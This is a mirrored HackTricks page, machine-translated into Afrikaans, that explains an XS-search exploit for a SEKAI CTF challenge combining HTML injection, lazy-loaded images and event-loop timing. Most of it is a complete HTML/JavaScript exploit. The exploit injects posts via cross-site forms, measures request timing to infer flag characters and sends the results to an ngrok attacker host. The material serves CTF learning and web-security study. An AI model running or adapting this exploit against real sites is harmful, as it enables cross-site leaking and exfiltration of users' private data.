Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-26 22:52:06 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/pentesting-web/xs-search/event-loop-blocking-+-lazy-images.md
Translator workflow 9f40607d8c Translated to Afrikaans
2024-02-11 02:07:06 +00:00

7.2 KiB
Raw Blame History

Event Loop Blokkering + Luie beelde

Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

In hierdie uitbuiting, meng @aszx87410 die luie beeld sykanaal-tegniek deur 'n HTML-injeksie met 'n soort event loop blokkeringstegniek om karakters te lek.

Dit is 'n verskillende uitbuiting vir die CTF-uitdaging wat reeds bespreek is op die volgende bladsy. Kyk vir meer inligting oor die uitdaging:

{% content-ref url="connection-pool-example.md" %} connection-pool-example.md {% endcontent-ref %}

Die idee agter hierdie uitbuiting is as volg:

  • Die plasings word alfabeties gelaai.
  • 'n Aanvaller kan 'n plasing inspuit wat begin met 'n "A", dan sal 'n paar HTML-etiket (soos 'n groot <canvas) die meeste van die skerm vul en 'n paar finale <img lazy-etikette om dinge te laai.
  • As die aanvaller in plaas van 'n "A" dieselfde plasing inspuit, maar begin met 'n "z", sal die plasing met die vlag eerste verskyn, dan sal die ingespuite plasing verskyn met die aanvanklike "z" en die groot canvas. Omdat die plasing met die vlag eerste verskyn het, sal die eerste canvas die hele skerm inneem en die finale <img lazy-etikette wat ingespuit is, sal nie op die skerm sigbaar wees nie, sodat hulle nie gelaai sal word nie.
  • Dan, terwyl die bot die bladsy toegang, sal die aanvaller fetch-versoeke stuur.
  • As die beelde wat in die plasing ingespuit is, gelaai word, sal hierdie fetch-versoeke langer neem, sodat die aanvaller weet dat die plasing voor die vlag is (alfabeties).
  • As die fetch-versoeke vinnig is, beteken dit dat die plasing alfabeties na die vlag is.

Kom ons kyk na die kode:

<!DOCTYPE html>
<html>
<!--
The basic idea is to create a post with a lot of images which send request to "/" to block server-side nodejs event loop.
If images are loading, the request to "/" is slower, otherwise faster.
By using a well-crafted height, we can let note with "A" load image but note with "Z" not load.
We can use fetch to measure the request time.
-->
<body>
<button onclick="run()">start</button>

<!-- Inject post with payload -->
<form id=f action="http://localhost:1234/create" method="POST" target="_blank">
<input id=inp name="text" value="">
</form>

<!-- Remove index -->
<form id=f2 action="http://localhost:1234/remove" method="POST" target="_blank">
<input id=inp2 name="index" value="">
</form>

<script>
let flag = 'SEKAI{'
const TARGET = 'https://safelist.ctf.sekai.team'
f.action = TARGET + '/create'
f2.action = TARGET + '/remove'

const sleep = ms => new Promise(r => setTimeout(r, ms))
// Function to leak info to attacker
const send = data => fetch('http://server.ngrok.io?d='+data)
const charset = 'abcdefghijklmnopqrstuvwxyz'.split('')

// start exploit
let count = 0
setTimeout(async () => {
let L = 0
let R = charset.length - 1

// I have omited code here as apparently it wasn't necesary

// fallback to linerar since I am not familiar with binary search lol
for(let i=R; i>=L; i--) {
let c = charset[i]
send('try_' + flag + c)
const found = await testChar(flag + c)
if (found) {
send('found: '+ flag+c)
flag += c
break
}
}

}, 0)

async function testChar(str) {
return new Promise(resolve => {
/*
For 3350, you need to test it on your local to get this number.
The basic idea is, if your post starts with "Z", the image should not be loaded because it's under lazy loading threshold
If starts with "A", the image should be loaded because it's in the threshold.
*/
// <canvas height="3350px"> is experimental and allow to show the injected
// images when the post injected is the first one but to hide them when
// the injected post is after the post with the flag
inp.value = str + '<br><canvas height="3350px"></canvas><br>'+Array.from({length:20}).map((_,i)=>`<img loading=lazy src=/?${i}>`).join('')
f.submit()

setTimeout(() => {
run(str, resolve)
}, 500)
})
}

async function run(str, resolve) {
// Open posts page 5 times
for(let i=1; i<=5;i++) {
window.open(TARGET)
}

let t = 0
const round = 30 //Lets time 30 requests
setTimeout(async () => {
// Send 30 requests and time each
for(let i=0; i<round; i++) {
let s = performance.now()
await fetch(TARGET + '/?test', {
mode: 'no-cors'
}).catch(err=>1)
let end = performance.now()
t += end - s
console.log(end - s)
}
const avg = t/round
// Send info about how much time it took
send(str + "," + t + "," + "avg:" + avg)

/*
I get this threshold(1000ms) by trying multiple times on remote admin bot
for example, A takes 1500ms, Z takes 700ms, so I choose 1000 ms as a threshold
*/
const isFound = (t >= 1000)
if (isFound) {
inp2.value = "0"
} else {
inp2.value = "1"
}

// remember to delete the post to not break our leak oracle
f2.submit()
setTimeout(() => {
resolve(isFound)
}, 200)
}, 200)
}

</script>
</body>
</html>
Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!